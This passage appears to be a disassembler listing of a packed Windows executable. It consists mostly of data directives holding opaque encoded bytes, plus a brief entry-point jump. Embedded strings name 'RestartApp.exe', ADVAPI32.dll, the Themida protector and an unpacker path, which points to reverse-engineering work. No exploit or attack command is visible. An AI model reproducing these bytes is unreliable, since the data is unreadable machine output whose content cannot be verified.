58F8C48Dh, 910FCC0Eh, 0C932EF50h dd 70D0ED48h, 0E8892A9Ch, 1580D83Ch, 0C3A86450h, 68FAB124h dd 92745D39h, 5D292804h, 2027D4BDh, 7BE74848h, 12054600h dd 0A6D61AE6h, 0B9F2CF2h, 8FE800B8h, 1F2A5FA9h, 3B7E3378h dd 3D24CE02h, 52A64A58h, 742704A4h, 0E844EFE4h, 6D38C0A4h dd 503381h, 0EFA98C32h, 0C77AEB5Dh, 1E6E5314h, 0A2DB0BD4h dd 0C98009E3h, 2DECE7ECh, 5C23B09Eh, 7603C4B0h, 0E43B91AEh dd 606036AAh, 7090821Fh, 33D7C70Fh, 0A06CA499h, 0B01928A4h dd 0ECF0075h, 9218B5D2h, 0FC00CA3Eh, 0D07EEA60h, 28D573FDh dd 460A74Bh, 10990B28h, 244F886h, 0DE397522h, 40185C59h dd 85079C45h, 0D6D57604h, 64801B17h, 13424BDBh, 7038FE6h dd 1B718ED3h, 9E4A010h, 6AE6AD60h, 6B94B6h, 52D10FDh, 0DEB010Ah dd 0EEF77B0Fh, 0E1804460h, 9E1174C0h, 204F0079h, 7D27765Ah dd 0C909F22Fh, 0F9772988h, 73698158h, 0FE595AC2h, 0F2FE54A0h dd 7E003777h, 0A97133ACh, 19D8CE9Bh, 384BFFF9h, 2630206Bh dd 13B0D52Fh, 0F51FD8D0h, 44E0008Eh, 0A837E8A1h, 96008994h dd 0FF873ED1h, 48814282h, 400E8D8h, 83D39C25h, 53087D89h dd 8426461Ah, 8CD72235h, 0AA1C3E90h, 0A6402C76h, 7C8566CFh dd 0FC3A13B2h, 782490D5h, 0FA001FCEh, 0BE6998Ah, 0B0BFE886h dd 3D2D026Dh, 2803C270h, 0AB00A466h, 69EC81D2h, 533387h dd 29C0CB67h, 507D960Bh, 730C0E16h, 0C2B480D0h, 600A0068h dd 43E439E1h, 0B00019EBh, 5ACA0607h, 5CBB553Dh, 1C4D2CE7h dd 7AD73082h, 0FC75A060h, 0C441D225h, 76C40544h, 87B8124Ah dd 4EA30EDh, 161EAF0Eh, 0C5D5AB5h, 0E088B0CFh, 1D427F69h dd 4AE803E3h, 3D5E109h, 0C592C900h, 91A9879Fh, 0DC30ED2Bh dd 0BCA719Eh, 79E548DBh, 0C1144480h, 0D202B712h, 0A0496ED0h dd 13D4703Fh, 0B474337Bh, 10015858h, 5CF84AD7h, 0F6E06A2Bh dd 55011E6Dh, 0EA5AC031h, 27759B4h, 9E39520Fh, 6EEF61E7h dd 0FCE0DC76h, 8084B4D8h, 79AEA31Fh, 80B860C2h, 32D0881Ch dd 9C704BD2h, 23ACD14h, 0E3365999h, 5CC1A845h, 8EF21184h dd 64800C28h, 0D9DDF5CCh, 2850909Fh, 0A0AB001Bh, 0DB047FCFh dd 39010C94h, 0A5EEE873h, 2DE8352Ch, 18009751h, 933AB7EFh dd 421AC913h, 0D60214E2h, 0EF98E4CAh, 0AA0BD8C0h, 445BC648h dd 411D0868h, 0FD528497h, 3CEA68C8h, 4E002F7Fh, 0AD478103h dd 5801FF22h, 0EBF78DA0h, 3430AA56h, 0CABE16D8h, 0B908D072h dd 0C600CDD3h, 5F795BA6h, 7AAD7EF3h, 0BC370101h, 932160FFh dd 764050ECh, 0A23B797Bh, 480043F9h, 11305F63h, 0A600833Ah dd 87F78829h, 1F523F56h, 565DBB69h, 202488F9h, 0F7488000h dd 68300BA9h, 90D109D2h, 4485AF1Dh, 48E2E3h, 5CB7E551h dd 1265CAF6h, 284EE2BAh, 6F04CF70h, 0D82A2987h, 46D88Ch dd 883A8E10h, 24189D5Fh, 0A2E95A16h, 0CFDBF8A5h, 1A7CDB51h dd 7BFC5121h, 743B25C4h, 785734E8h, 5C009C7Ch, 0A51E3ECAh dd 418D24h, 9B213A07h, 2BA1EF9Fh, 8A4051DEh, 804A71B7h dd 0A37E0012h, 27F2E420h, 0EE055B53h, 0C688EF99h, 73445C00h dd 428BD7Dh, 9D4BD022h, 0E31807E0h, 50C0BE74h, 0FC623Bh dd 0DC9E2E5Dh, 2A3A15E9h, 0DF297860h, 0B512EC1Ah, 0A80B2814h dd 995F28D1h, 71E1D43Ch, 16581040h, 81431601h, 30C589h dd 0A90B3310h, 0B0B8BE9Eh, 0F35A0A02h, 0C6AE01BBh, 0F5A1026Ch dd 0D9202D81h, 44241C7Ch, 59C8809h, 1D84FEDBh, 448A4h dd 30AFBBB6h, 931BD048h, 13A3301h, 3CC1F05Ah, 0D381EC3Ch dd 0D87DC520h, 0AB000998h, 288752C0h, 269FCF75h, 21424CAh dd 263F1936h, 381F10D1h, 161E4418h, 884A4FAEh, 0CA0530F4h dd 0E46EBD56h, 0A8338B8h, 16A85446h, 4E012A8Dh, 63617512h dd 7CDC3A0Ch, 0DFA22AADh, 2302004Ch, 20EECED7h, 0A42E2858h dd 141140F2h, 0C601F000h, 934A77C4h, 182B8934h, 8C8060B8h dd 0E5F3A5F9h, 0E1ED609h, 0F2DE0180h, 7DED216Ah, 0E61D5C63h dd 0F4788732h, 779F70A6h, 7E00823Dh, 5EDC6AD6h, 0BED72C9Ch dd 321F80C0h, 0C24EE09Ah, 6F101B00h, 0D1DCF38Ch, 1E533A59h dd 81BCA4h, 0C09FD28Eh, 0B5905AE2h, 5B131900h, 558BF1EFh dd 0F8489840h, 0A45D5005h, 0B12F4E6h, 8339258Dh, 0D404380Bh dd 73354214h, 0B5812009h, 0C49AE9FCh, 3988A707h, 0F1252687h dd 0CE01C4A2h, 51364E0Bh, 0B9B3E098h, 0C26FF200h, 5ED43110h dd 0BA8800DCh, 50187EC1h, 2758F4E4h, 803E9F4Ch, 0FA9D9849h dd 25FF3B6Dh, 0D810861Bh, 0F85C0B35h, 0D98200C2h, 0A86DB772h dd 60917A1h, 0E4DC8540h, 0D11211B8h, 0E7003EBBh, 0A84D5D2Ch dd 0A6E93AACh, 7A423A04h, 0C204B8C4h, 0C1ECD54Fh, 5C30D8A9h dd 2B9944EFh, 1980F891h, 60AF4335h, 45EE0F73h, 0DD07629Fh dd 87D1A002h, 3F1C3DBBh, 0FA562A38h, 0ABCE8801h, 0AC6073D7h dd 7679059Ah, 79B4A32h, 11C8603Ch, 28B2B750h, 2949440h dd 0B58D85FBh, 6505F849h, 2967E88h, 5F04FDCh, 0E6E2C08Eh dd 0EC8A9A97h, 30A800A5h, 52AEFC38h, 25E43100h, 64B2CC6Ch dd 29BF68Eh, 0DDF721BFh, 3C7C2394h, 2E929680h, 0FF515Ch dd 62902898h, 0F4EA8960h, 10882601h, 0A07FF701h, 30019039h dd 12E96AF9h, 64F0EB87h, 0EF26C16Dh, 0C4022533h, 4057166Bh dd 7B86C6E0h, 7081F4BAh, 0D7C8C3B8h, 0A3A0E329h, 0B0BCFEEh dd 0C43FF1C1h, 0B2F81D98h, 89C3440Ch, 0D6C0C00Eh, 0C798F939h dd 4A580B0Bh, 13D45292h, 0E3BA83Fh, 3E4041Ch, 8D74E4D8h dd 8F73F500h, 0DCAA7856h, 0BF7400A0h, 0BA0FADB1h, 4738D326h dd 4A5187A2h, 8B393042h, 4845C8h, 6590139Bh, 1C024F6Ch dd 2BCA48ABh, 0A34788Fh, 0A74A593Dh, 2A344148h, 0C8D9E25Dh dd 0EFEC6785h, 0D8A600BBh, 29FBA849h, 4088275Bh, 7B72A6h dd 0C43FB615h, 3929BCC5h, 7DD06802h, 4086E3E1h, 1425DF4h dd 0D128F3DCh, 6BADFEC4h, 608EA020h, 0A2650733h, 0C0C115F8h dd 88CF2ACAh, 0F30E597Fh, 0E0473401h, 41F14BABh, 6B22FE49h dd 0EC1998FAh, 0AE13EC6Eh, 98A88704h, 58C827EDh, 69530004h dd 513C8A9Dh, 3900248Bh, 91A44243h, 0F6E5AA61h, 802C9140h dd 21CFD58Bh, 0B81D1EECh, 0A1A8F8BBh, 5BACE201h, 5565D15Fh dd 5C71D6h, 207A4FD6h, 0EE04CC02h, 5D4BFC32h, 0B1882490h dd 0D5B33EEDh, 0ADACC84Ah, 6200E2FCh, 0EB3E22D0h, 260F69F4h dd 137C3756h, 0C07CC953h, 821C33A3h, 11038FD0h, 88876E4Ah dd 9084C538h, 0A070974Ch, 0A78010B5h, 22E50081h, 0C55CF117h dd 8D009C73h, 85FC1A87h, 5E435046h, 92403025h, 0AA0188D9h dd 62BE2389h, 0A032762Ah, 7F59B12h, 0C00CCA80h, 21BAF33Fh dd 90524B2Dh dd 6A6230h, 0BF44E6AAh, 47405697h, 141B651Dh, 2131A43h dd 51B6D8h, 6E3D0111h, 305A4326h, 41365001h, 0F1B62D02h dd 43385EEAh, 97D8DAA9h, 0EF25A6AEh, 16B8A287h, 0D0E675h dd 0A085B60Ch, 5DE58A72h, 6481F400h, 146BFD11h, 0C8AE0F44h dd 7055A60h, 0D314C1ECh, 80443C87h, 0F31B594h, 9E240001h dd 99FFF1C8h, 0A14F269Fh, 16B68040h, 53EEE1h, 0E982C8FBh dd 8B870EE3h, 48C71A2Eh, 2DE2DA02h, 0DF34E3F6h, 610CD8F7h dd 780D00F0h, 9614115h, 0C9005C5h, 0F571D1Fh, 48A04B92h dd 4A12009Bh, 0C6395DE4h, 83952338h, 0C803C530h, 5F1549h dd 513F0132h, 35600EE9h, 0F577C808h, 0B180382Ah, 48C74933h dd 8C007481h, 42D301ABh, 0F615865h, 0EBF871E2h, 0E4FFB5E0h dd 59004A36h, 2045936Ah, 951A3D8Ah, 0EB986810h, 4804F258h dd 144B26FBh, 0C3C62A62h, 44301134h, 98FF2719h, 26A1B328h dd 123D97CDh, 0E4500046h, 2A844D24h, 8E87CCB1h, 0C29228D3h dd 2C5AA2h, 0C7B299CFh, 562E6068h, 2E3CE44Ch, 0C300FCB7h dd 4DC5441Ch, 3C5A131Bh, 0E4E4C86Dh, 7AE60400h, 0F0D3609Bh dd 1B57142h, 59801C11h, 2EEF85D1h, 7C5A3420h, 84AA12F8h dd 8608018Bh, 7C82EF0Eh, 589888F0h, 1008230h, 5C56F3BBh dd 266A1408h, 12946E03h, 4BFD0051h, 581C542h, 9045E22Fh dd 723130h, 0DABEFF46h, 30D2ADF7h, 68233F24h, 0DC646C40h dd 2457FD6h, 0E172262Ch, 0EC7E503Dh, 0C276BA40h, 0F07E0379h dd 9BCE2493h, 919DA825h, 6B0C99FCh, 29CC010Fh, 0C283852Ch dd 0E49034B8h, 1251AD80h, 89ED825h, 438C3881h, 0EDC4EF89h dd 335439A6h, 0D5286101h, 0E019D4BCh, 84D8F9h, 812475A0h dd 0A17660DDh, 4C909100h, 0BD0343D0h, 63262746h, 15053044h dd 10FAF01Fh, 0D753C4C0h, 983178C6h, 7EA90060h, 1CB18F30h dd 8E488623h, 1D396356h, 0E1978882h, 22280441h, 0C8581A42h dd 5D00EFBCh, 0B70993D8h, 3D871C18h, 80CF4823h, 0C89C0314h dd 9384B5Ch, 0E4F44C22h, 2E690050h, 0F5A5C6EAh, 8095FD6Eh dd 0B994B883h, 0F2F00758h, 292A048Ah, 21330011h, 38073BDCh dd 0EF420915h, 0F6C7C6Bh, 1932306h, 0D2CC004h, 1087D73h dd 8A3E96BBh, 0F4C8FA09h, 0CC2F5C8Dh, 0B6C947C0h, 45F0A777h dd 4009AE6h, 21D96044h, 9C1050Dh, 61E850F4h, 0E9E6F444h dd 19BADD27h, 0C4797188h, 0E4902007h, 38A140ABh, 0D07F1CDh dd 0D673E0D5h, 36308089h, 274A642Fh, 0B84437B1h, 36A1D3Fh dd 0D3F5F6FAh, 9755E895h, 515B0A1Bh, 1D46CDEh, 5E6E3A01h dd 0D1E07030h, 0E5921917h, 0DD13411Dh, 0C4230892h, 0D7482CBCh dd 0FD68004Ch, 0E1B61FF4h, 0CD4E571Fh, 67B71600h, 38C15DCFh dd 0B08972EBh, 0C800F634h, 30484329h, 0B21DCA8h, 4FB4Ch dd 0E0EE4E01h, 34AE45Dh, 0D5F2AF88h, 2FD2053h, 0B003D3F8h dd 5000CCD1h, 0E326C61Ah, 2FF6E4Eh, 8050ACB2h, 204FBA22h dd 0FB1F00E5h, 64EFCC49h, 0EC0BD25Dh, 0E4BE355Fh, 0A64500ACh dd 4D8482F8h, 3F003C37h, 0EDFF813Bh, 1D1A9576h, 0B022FD26h dd 755542F9h, 3CD7963Dh, 4F8B8103h, 72765950h, 2704A260h dd 1C90A0B2h, 0E507364Bh, 33698326h, 46BF7070h, 411B0A30h dd 0A644D2B4h, 0A88E0B23h, 77F71B00h, 107980Ch, 6790D944h dd 655E0F11h, 0C21F5C63h, 0C3FA8102h, 0F045ECA0h, 0B02C264Ah dd 3026D9E9h, 3001BF00h, 0EA873FEEh, 0F5C0F9Bh, 0FEE07B31h dd 5DBCD9F6h, 0EF62E10Eh, 8F698348h, 0FBAC07Ah, 0B8F603A1h dd 78191438h, 0D15086E0h, 0DD338300h, 5EBBB982h, 1B641ED7h dd 41A1C054h, 8B867BC5h, 14D0FA00h, 69F97DD4h, 395E30ADh dd 0C8A7C429h, 0BFEA4F03h, 1E1E90EEh, 0AD727CAh, 5F01CC53h dd 6CFFFFh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53BC74: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_53EF15 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 71h, 0Bh, 32h dd 1Dh, 3 dup(0) dd 53DC0100h, 3 dup(0) dd 0E7C65700h, 77h, 0E7A13F00h, 77h, 10h dup(0) dd 10BC7400h, 0FAh, 0 dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h dd 9FA037h, 448BE0FFh, 0E0FF0424h, 13h dup(0) dd 57C73900h, 4 dup(0) dd 1BC00000h, 200h, 40000000h, 2 dup(0) dd 106400h, 2 dup(0) dd 9E0A9A00h, 2 dup(0) dd 0D1F3FF00h, 5Fh, 0 dd 9FA00F00h, 592B5500h, 7 dup(0) dd 0DD000000h, 9FA00F77h, 19h dup(0) dd 62F000h, 0FFFFDE00h, 0FFh, 4 dup(0) dd 53D43E00h, 0 dd 60B000h, 2 dup(0) dd 0D800h, 0 dd 0FE030400h, 7Fh, 0 dd 58111800h, 0 dd 9FA00F00h, 0B1F34500h, 0E6000000h, 77h, 7 dup(0) dd 0AAFFFF00h, 3Ch, 48F90400h, 22F2h, 53F51B00h, 5 dup(0) dd 5B0E8F00h, 0 dd 22CCFD00h, 0FC098204h, 946D31F8h, 9, 2 dup(0) dd 58031000h, 2 dup(0) dd 0FFFFFF00h, 0FFh, 3 dup(0) dd 6B3D00h, 0Bh dup(0) dd 8D2F00h, 0F5000000h, 77h, 73655200h, 74726174h, 2E707041h dd 657865h, 4 dup(0) dd 57A6B900h, 6A6000h, 53h, 2 dup(0) dd 0FF8C1C00h, 0FFh, 0 dd 56D3EA00h, 0DD59F000h, 53EE3577h, 2 dup(0) dd 9F229200h, 0 dd 0E82CFC00h, 77h, 2 dup(0) dd 0FE030400h, 7Fh, 0 dd 0AE386A00h, 5643CCh, 9F949900h, 59298F00h, 13E800h dd 2 dup(0) dd 56FAC400h, 4 dup(0) dd 0A1B13400h, 3 dup(0) dd 73E900h, 2 dup(0) dd 0E75CB500h, 0FB5E277h, 388Ah, 592BB200h, 4 dup(0) dd 9F314500h, 0 dd 5753BB00h, 3 dup(0) dd 0FE90BA00h, 7Fh, 4 dup(0) dd 9FFA5600h, 5 dup(0) dd 143400h, 0C3CA8C00h, 9F70C43Bh, 5 dup(0) dd 7F3F000h, 2 dup(0) dd 0E776CD00h, 77h, 0 dd 12FFF000h, 0 dd 0BFFFB000h, 2A08001h, 400h, 0A022D800h, 6 dup(0) dd 21698B00h, 3Eh, 3 dup(0) dd 39DBEE00h, 0FDh, 3Bh dup(0) dd 11F21500h, 93h, 4 dup(0) dd 53E48500h, 2 dup(0) dd 142B5D00h, 57CBF01Ah, 0E0h, 0FE030400h, 7Fh, 0 dd 5A3CF000h, 3 dup(0) dd offset dword_40E994+16Ch dd 9 dup(0) dd 0DD5ECC00h, 77h, 0 dd 5A29EA00h, 24242400h, 24h, 0AC00h, 2 dup(0) dd 0FE03A200h, 7Fh, 5 dup(0) dd 9F69DD00h, 3 dup(0) dd 5AD24400h, 9ED55400h, 9 dup(0) dd 5753BB00h, 0 dd 100h, 8Bh dup(0) dd 21212100h, 66821h, 57862F00h, 0Bh dup(0) dd 9F70C400h, 4 dup(0) dd 5B1B3700h, 2 dup(0) dd 0FFFFFB00h, 0FFh, 0 dd 9F8C6B00h, 2 dup(0) dd 0A19BAC00h, 7 dup(0) dd 1FCFC00h, 80h, 4 dup(0) dd 57A25800h, 2 dup(0) dd 263E0300h, 44h, 200h, 0Bh dup(0) dd 100000h, 200h, 56C4ED00h, 5 dup(0) dd 57ACB700h, 0 dd 9F53BB00h, 4 dup(0) dd 0A940EE00h, 0FFh, 3 dup(0) dd 0A800h, 2 dup(0) dd 6A060800h, 0FFFFFF00h, 0FFh, 5 dup(0) dd 88DC9100h, 7Bh, 0Fh dup(0) dd 56D3EA00h, 2 dup(0) dd 710800h, 12h dup(0) dd 0B5CC00h, 6 dup(0) dd 0E7796300h, 77h, 2 dup(0) dd 6E0A6900h, 70h, 4 dup(0) dd 2B1E5700h, 40000008h, 2, 5B05AF00h, 0 dd 5721F200h, 0 dd 223E800h, 5 dup(0) dd 5A2B1500h, 6 dup(0) dd 22FE800h, 0FE030400h, 7Fh, 0 dd 938C8400h, 30h, 0 dd 7A830000h, 36h, 24h dup(0) dd 0F52E0F00h, 77h, 5 dup(0) dd 60962300h, 0E793EFFFh, 0AE5FF877h, 57AAC000h, 6 dup(0) dd 990A0000h, 0A399956Ah, 57303000h, 5FFFB000h, 1, 0 dd 0FFA56C00h, 0FFh, 3 dup(0) dd 0B6000000h, 0 dd 12FEF000h, 2 dup(0) dd 9759EA00h, 0 dd 22222200h, 22222222h, 22h, 3 dup(0) dd 0FFFFFF00h, 0FFh, 3 dup(0) dd 97E900h, 53BCF900h, 6 dup(0) dd 12FF6000h, 0 dd 0FE030400h, 7Fh, 0FFFFFF00h, 7Fh, 2 dup(0) dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 80h dup(0) dd 9F8C0A00h, 0 dd 22200h, 0Ah dup(0) dd 486CB800h, 2, 2 dup(0) dd 498D8D00h, 0A6h, 5 dup(0) dd 55597400h, 3886h, 2 dup(0) dd 56F86B00h, 0DCB6AA00h, 6Ch, 3 dup(0) dd offset dword_500044+0BCh dd 0 dd 0D153BB00h, 0Fh, 6B3D00h, 0 dd 11111100h, 11h, 2 dup(0) dd 56ED9600h, 0 dd 0FE030400h, 7Fh, 0 dd 57915000h, 0Ah dup(0) dd 572BDE00h, 6 dup(0) dd 57002300h, 6 dup(0) dd 263E0300h, 44h, 3 dup(0) dd 0A023E800h, 3 dup(0) dd 0F7F8C900h, 0ECh, 8 dup(0) dd 1FCFC00h, 58637980h, 33333300h, 2 dup(33333333h), 0BFEAF033h dd 77h, 0 dd 0FE030400h, 7Fh, 3 dup(0) dd 0FFFF5000h, 0FFh, 2 dup(0) dd 0A000h, 0 dd 0A063C300h, 0B6h, 2 dup(0) dd 5B37EB00h, 0 dd 0AE386A00h, 0C530DFCCh, 0A9h, 0 dd 9F69DD00h, 0A3A5E700h, 9F69DD00h, 2 dup(0) dd 0A5625B00h, 6, 4 dup(0) dd 7A8AD400h, 58h, 5 dup(0) dd 56D3EA00h, 3 dup(0) dd 9F9C3700h, 3 dup(0) dd 0A38D5300h, 2 dup(0) dd 5B04EF00h, 53D43D00h, 7 dup(0) dd 1FECF500h, 4, 4047400h, 57961A05h, 0B41B4000h, 76h dd 109C00h, 12FFA400h, 0A01DC800h, 3 dup(0) dd 53FD7700h, 0F800h, 7 dup(0) dd 0B0D92F00h, 0FEh, 0A7DE6100h, 0FFh, 3 dup(0) dd 0F325D800h, 444h, 0 dd 5A778B00h, 6 dup(0) dd 0AFF5CE00h, 0F5h, 2 dup(0) dd 9FA03700h, 4 dup(0) dd 0D4C96A00h, 77h, 12FF6000h, 6 dup(0) dd 3C2B8D00h, 2Fh, 2 dup(0) dd 0D4C96A00h, 77h, 0EC00h, 3 dup(0) dd 4DE00000h, 3 dup(0) dd 35B00h, 0 dd 11F21500h, 93h, 59000000h, 2, 8 dup(0) dd 12FFE000h, 2 dup(0) dd 0DBCB3B00h, 5300231Dh, 3 dup(0) dd 3800h, 57D8B500h, 0Ah dup(0) dd 6A6000h, 73FE2053h, 3Bh, 6 dup(0) dd 0E6000000h, 77h, 0 dd 0A7CA500h, 0Ch, 5A78F200h, 0 dd 0A800h, 5 dup(0) dd 5747B100h, 2 dup(0) dd 76080800h, 2Ah, 3 dup(0) dd 0A6F79D00h, 3Ch, 0A5C68A00h, 0FFh, 13E800h, 7 dup(0) dd 0A702B900h, 0ADB1CAFFh, 8C08EB00h, 74D8h, 3DCD1800h dd 12FFC401h, 0 dd 0C2D86C00h, 0CAh, 0 dd 0F7EBB300h, 0F972377h, 4Ch, 0Bh dup(0) dd 12FEF000h, 2 dup(0) dd 92815F00h, 0EBA6E992h, 9F69DD77h, 2 dup(0) dd 0C530DF00h, 0A9h, 600h, 0B1h dup(0) dd 0E7A83700h, 77h, 0E0005000h, 0FDh, 4 dup(0) dd 1D110F00h, 67h, 36363600h, 36h, 0Bh dup(0) dd 5A28D500h, 5 dup(0) dd 22200h, 0 dd 20DA3100h, 24h, 6Bh dup(0) dd 6B3D00h, 1Ch dup(0) dd 12FF5400h, 0Dh dup(0) dd 0BF003E00h, 4748EC00h, 6Eh, 9C00h, 2 dup(0) dd 100h, 991E6B00h, 56D3EAB5h, 59FDDD00h, 0A400h, 4 dup(0) dd 6B3D00h, 0FE030400h, 0DD23D77Fh, 0A0156077h, 2 dup(0) dd 5B000000h, 2, 0Dh dup(0) dd 5A565600h, 0 dd 0FE030400h, 7Fh, 9E000000h, 0E72100h, 5 dup(0) dd 0FE030400h, 7Fh, 40EB00h, 3 dup(0) dd 0ECF5FD00h, 0AFA1FE5Dh, 0FB5E200h, 8Ah, 0 dd 0FFA7CC00h, 0E80FFh, 3 dup(0) dd 5A3DFD00h, 0E805D800h, 77h, 3900h, 0CA8CA200h, 5882ED19h dd 0F5180B00h, 77h, 7 dup(0) dd 25A34100h, 56ED4EF9h, 9 dup(0) dd 5B892C00h, 3 dup(0) dd 0FE030400h, 7Fh, 0FFFDFE00h, 0E82160FFh, 77h, 9F8C0A00h dd 4 dup(0) dd 0FF2BFA00h, 2Dh, 2 dup(0) dd 59EEEA00h, 5AC0CA00h, 0 dd 0FB5E200h, 1572738Ah, 96163795h, 3CD10638h, 95h, 5 dup(0) dd 58E38900h, 7 dup(0) dd 0FFFFF400h, 77h, 4 dup(0) dd 6B3D00h, 6 dup(0) dd 0E001400h, 0 dd 53E5B100h, 5A9DA500h, 0F9h, 3 dup(0) dd 5861E900h, 8 dup(0) dd 5F95FF00h, 100h, 0D168ED00h, 3, 8 dup(0) dd 9F09F700h, 0 dd 5B1B5B00h, 4 dup(0) dd 0A5C38B00h, 1Eh, 2 dup(0) dd 0E6D70600h, 0E8279077h, 77h, 53F51B00h, 0A8754E00h dd 70FFh, 5 dup(0) dd 53DECD00h, 0 dd 4FFFB000h, 0E8061801h, 0AC1FB377h, 0FFh, 3 dup(0) dd 5AD24400h, 4 dup(0) dd 59F0C700h, 4 dup(0) dd 5A6A1000h, 9F2BDE00h, 0 dd 0D153BB00h, 0Fh, 4 dup(0) dd 82430D00h, 551B58DCh, 0FFh, 0FF264100h, 9F5E2EFFh, 5 dup(0) dd 56FC4200h, 65685400h, 6164696Dh, 1Ch dup(0) dd 747B800h, 5Eh, 2 dup(0) dd 0BFF9FF00h, 4Bh, 2 dup(0) dd 100h, 4 dup(0) dd 6B08EB00h, 9361F354h, 1Eh, 5D441B00h, 0B9h, 100h, 9C6FB000h dd 56F85136h, 0BFFFFF00h, 7 dup(0) dd 100h, 41A62400h, 0C6h, 2 dup(0) dd 100h, 1Bh dup(0) dd 0D38DFD00h, 40h, 0E7A83700h, 5ED23077h, 1, 4 dup(0) dd 0FF93EC00h, 12FFA4FFh, 0 dd 57303000h, 200h, 4 dup(0) dd 6B3D00h, 0 dd 0E7A83700h, 177h, 5A6A1000h, 3 dup(0) dd 0FAFFFE00h, 0FFh, 0Ch dup(0) dd 584C1600h, 9E0FE600h, 0FE030400h, 5800007Fh, 0 dd 0A7B2C000h, 10h, 4 dup(0) dd 22200h, 2 dup(0) dd 0A5D72B00h, 5A0000FFh, 2, 0 dd 5AF8E600h, 0 dd 0FE030400h, 7Fh, 0 dd 0FE030400h, 9F915B7Fh, 5 dup(0) dd 0DD189A00h, 77h, 5 dup(0) dd 5CFF4000h, 4 dup(0) dd 0B087C000h, 9F939300h, 0 dd 578C0600h, 0 dd 0E50000h, 3 dup(0) dd 3A000h, 2 dup(0) dd 3F9F800h, 0Ah dup(0) dd 5A270600h, 0Ah dup(0) dd 72D000h, 2 dup(0) dd 0E75CB500h, 77h, 0 dd 0FA090C00h, 7978EB7Fh, 5Bh, 0 dd 0FE030400h, 7Fh, 8 dup(0) dd 0FFFFFF00h, 0FFh, 4 dup(0) dd 0A2E9D900h, 7Bh, 5 dup(0) dd 5A8D1E00h, 4 dup(0) dd 800300h, 2 dup(0) dd 0FF000000h, 0FFh, 2 dup(0) dd 12FF5400h, 3 dup(0) dd 6A6000h, 7853h, 0A99F1900h, 0EF4254FFh, 5, 3 dup(0) dd 0A34B3000h, 0F6h, 2 dup(0) dd 8C00h, 0BE8D8D00h, 6Fh, 6B3D00h, 0FE030400h, 7Fh, 3 dup(0) dd 0FE030400h, 7Fh, 5 dup(0) dd 0D50EA800h, 0FB8D8DFBh, 8881h, 0A0156800h, 8 dup(0) dd 56FB1400h, 2 dup(0) dd 0A702B900h, 0A03268FFh, 4 dup(0) dd 1C53D00h, 0 dd 59000000h, 53AFDF02h, 2 dup(0) dd 0D3EA00h, 0FE030400h, 7Fh, 0Fh dup(0) dd 0FFFFFF00h, 0E7A144FFh, 77h, 605FF100h, 53E075FFh, 6 dup(0) dd 9000h, 0 dd 0BCFE7A00h, 0FDh, 2 dup(0) dd 0EACCCC00h, 27h, 8 dup(0) dd 625CED00h, 7Fh, 0 dd 0F5000000h, 77h, 3 dup(0) dd 0B4A4CF00h, 8412h, 0A99F1900h, 0FFh, 0 dd 0A6C7A600h, 4FFh, 2 dup(0) dd 592BEB00h, 0F9214000h, 14h, 0 dd 67B2E700h, 0EBh, 3 dup(0) dd 0E83E6800h, 77h, 0 dd 1BBC00h, 12FF5400h, 2 dup(0) dd 0A8AC4500h, 0FFh, 8000h, 2 dup(0) dd 0D92C7700h, 55h, 5912A800h, 0 dd 0C530DF00h, 0A9h, 53F4E000h, 5763C800h, 5 dup(0) dd 6B3D00h, 0AD51300h, 6Ch, 5 dup(0) dd 5763C800h, 4 dup(0) dd 57AAC000h, 7 dup(0) dd 0C12C4600h, 0FEh, 0 dd 9FA00F00h, 7 dup(0) dd 57693600h, 0Ah dup(0) dd 0A5314500h, 0FFh, 4 dup(0) dd 0C20200h, 5 dup(0) dd 0FFBF1500h, 0FFh, 97E900h, 0 dd 22200h, 7 dup(0) dd 5A9DA500h, 0F9h, 0E72100h, 3 dup(0) dd 59860300h, 10E800h, 3 dup(0) dd 3600000h, 5 dup(0) dd 6B3D00h, 0F78D8D00h, 38CBh, 1Bh dup(0) dd 0F4A3FD00h, 75h, 59CFD500h, 59886B83h, 3 dup(0) dd 0AC2A3300h, 0FFh, 8 dup(0) dd 0C2076B00h, 5Dh, 0E78B8200h, 77h, 0E7AC5E00h, 56D3EA77h dd 59298F00h, 4 dup(0) dd 263E0300h, 44h, 0Fh dup(0) dd 0A0155C00h, 3 dup(0) dd 9F3E3B00h, 15662200h, 32h, 0FE030400h, 7Fh, 0 dd 600h, 0 dd 8F1E4300h, 7Dh, 5 dup(0) dd 592A5E00h, 0 dd 0E52BCF00h, 0FFh, 8 dup(0) dd 5A3DFD00h, 0 dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0) dd 100h, 3FC00h, 0FE030400h, 7Fh, 200h, 0DD00000h, 0F4A43500h dd 7Fh, 5F6EDF00h, 0 dd 58022000h, 3 dup(0) dd 0EC5400h, 80h, 4 dup(0) dd 0FC637600h, 77h, 3 dup(0) dd 91695E00h, 5753BBBBh, 7D100h, 0 dd 100h, 4 dup(0) dd 0E78B8200h, 77h, 3 dup(0) dd 0D33DE000h, 0E7A09943h, 0FE3AC477h, 583FFBFFh, 4 dup(0) dd 9E000000h, 6 dup(0) dd 100h, 712EF100h, 5Dh, 3 dup(0) dd 40000C00h, 2, 3 dup(0) dd 5A0D3400h, 9FA00F00h, 8 dup(0) dd 2A1200h, 747B900h, 5Eh, 0 dd 605FF100h, 0FFh, 4 dup(0) dd 7C00h, 0 dd 53D5CD00h, 0 dd offset loc_564300 dd 0E7A5FD00h, 0B5E277h, 6 dup(0) dd 8B000000h, 2, 0A16A9300h, 0A3h, 2 dup(0) dd 77C00h, 4 dup(0) dd 9FA00F00h, 4 dup(0) dd 0FF91A000h, 0FFh, 0 dd 5744FD00h, 5 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 2 dup(200h), 0 dd 1900h, 57E79C00h, 5753CD00h, 9F6CB000h, 0 dd 4D5C1500h, 0B920F006h, 6 dup(0) dd 0F78D1C00h, 7Fh, 3 dup(0) dd 5A3A2400h, 2 dup(0) dd 0CE800h, 2 dup(0) dd 0FE030400h, 0FFDB17Fh, 92h, 9D6CE100h, 0D9606B80h, 0Fh dd 2 dup(0) dd 59BD6900h, 7 